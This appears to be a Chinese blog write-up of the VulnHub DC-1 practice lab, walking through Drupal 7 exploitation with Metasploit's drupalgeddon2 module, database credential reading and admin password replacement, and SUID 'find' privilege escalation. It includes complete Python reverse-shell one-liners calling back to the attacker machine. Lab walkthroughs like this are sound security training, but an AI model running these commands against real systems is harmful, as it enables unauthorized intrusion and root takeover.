1. 程式人生 > 實用技巧 >vulnhub dc1 記錄

vulnhub dc1 記錄

最近想轉行到滲透,所以學習一下vulnhub,作為php程式設計師,對web方面的知識掌握的快,也很熟悉,但是對於系統方面和後滲透方面的東西還不是很熟悉。

vulnhub能提供很好的學習環境,遇到不會的可以搜一下思路,節省了時間。

一 安裝

這是下載地址,直接丟到下載軟體裡下載即可。

http://www.five86.com/downloads/DC-1.zip

https://download.vulnhub.com/dc/DC-1.zip

解壓縮後,是DC-1.ova這樣的一個檔案,直接用虛擬機器軟體開啟就行。

我用的virtualbox,啟動後會出現usb2報錯,因為這個環境中用不到usb,所以直接禁掉usb,順利進入環境

滲透機使用的kali,這裡就不介紹安裝了

二 資訊收集

已知本地滲透機ip:192.168.2.111

1.對於目標機,我們只知道在本地,而不知道具體的ip,所以要掃描一下存活主機

sudo nmap -v -sS 192.168.2.0/24

  

2.發現目標機ip和埠後,看到有80web埠,直接用瀏覽器開啟ip

3.發現web用的是drupal,這時候有兩條思路,第一條,繼續收集目標網站的其他資訊,第二條是直接搜尋有沒有漏洞

我才用第二條,直接尋找drupal的漏洞

1)whatweb檢視drupal的版本

 whatweb 192.168.2.112

  

可以發現是drupal 7

2)用searchexploid檢視一下是否有相關漏洞,也可以百度谷歌找一下有沒有相關漏洞

可以發現有很多漏洞,其中7版本的也很多,發現有metasploit的版本,我們直接使用msf來進行快速滲透

三 滲透

1.啟動msfconsole

service postgresql start  #先啟動資料庫,否則在msfconsole裡搜尋會很慢

msfconsole

search drupal #看看有哪些可以漏洞

  

我們直接使用4

use exploit/unix/webapp/drupal_drupalgeddon2 
set rhosts 192.168.2.112

 exploit 

等一會,可以看到成功了

shell #進入命令列模式

python -c "import pty;pty.spawn('/bin/bash')"

可以看到了熟悉的linux命令列介面

2.尋找flag

ls

cat flag1.txt

提示說可以去看看cms的配置檔案

百度後,drupal的配置檔案在sites裡面,我們進入裡面尋找

3.尋找flag2

最終在 /var/www/sites/default/settings.php裡找到了flag2 和資料庫的配置

給的提示是說 暴力破解不是唯一的路,也就是想要我們進到web後臺看一看

3.尋找flag3

我們直接進資料庫裡看看

資料庫中只找到了users表,但是密碼不是普通的md5,需要百度一下drupal的密碼生成規則,或如何重置密碼

百度後知道有幾種方法可以獲得加密後的密碼

第一種使用php程式碼,第二種直接用sh檔案

為了方便,直接用第二種方法 在/var/www/scripts下有一個password-hash.sh的檔案

可以使用

./password-hash.sh --help #檢視幫助

./password-hash.sh "123456" #獲得123456加密後的密碼 

這裡有個問題,直接執行會報錯,我們退回到上一目錄 ,執行如下命令

./scripts/password-hash.sh "123456" 

獲得加密後的密碼,我們就可以直接去mysql裡把admin的密碼替換掉

update users set pass="上面得到的密碼" where name="admin"; 

然後直接登入drupal,找找有沒有什麼線索。

發現了這個,直接點選檢視

4.suid提權

因為這方面知識是在短缺,看的我一臉懵,百度後得知,需要使用linux的suid提權

詳情可以參考這個

https://blog.csdn.net/qq_36119192/article/details/84872644

具體的命令是

find web.config -exec whoami \;

  

檢視是不是顯示root ,如果是的話,可以下一步

這一步是反射一個shell到滲透機上,滲透機需要開啟監聽

nc -lvp 4445  #滲透kali執行

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.111",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'  #目標機執行

  

執行後,發現滲透機獲取的是www的許可權,而不是root

把上面的find和剛輸入的命令結合起來,也就是說替換掉web.config

find web.config -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.111",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'  \;

  

這樣就能獲得目標機的root許可權

然後我們在find flag看看

find / -name "*flag*"

搞定!

從這個練習中,可以發現對於提權十分不熟悉,還需要多多努力。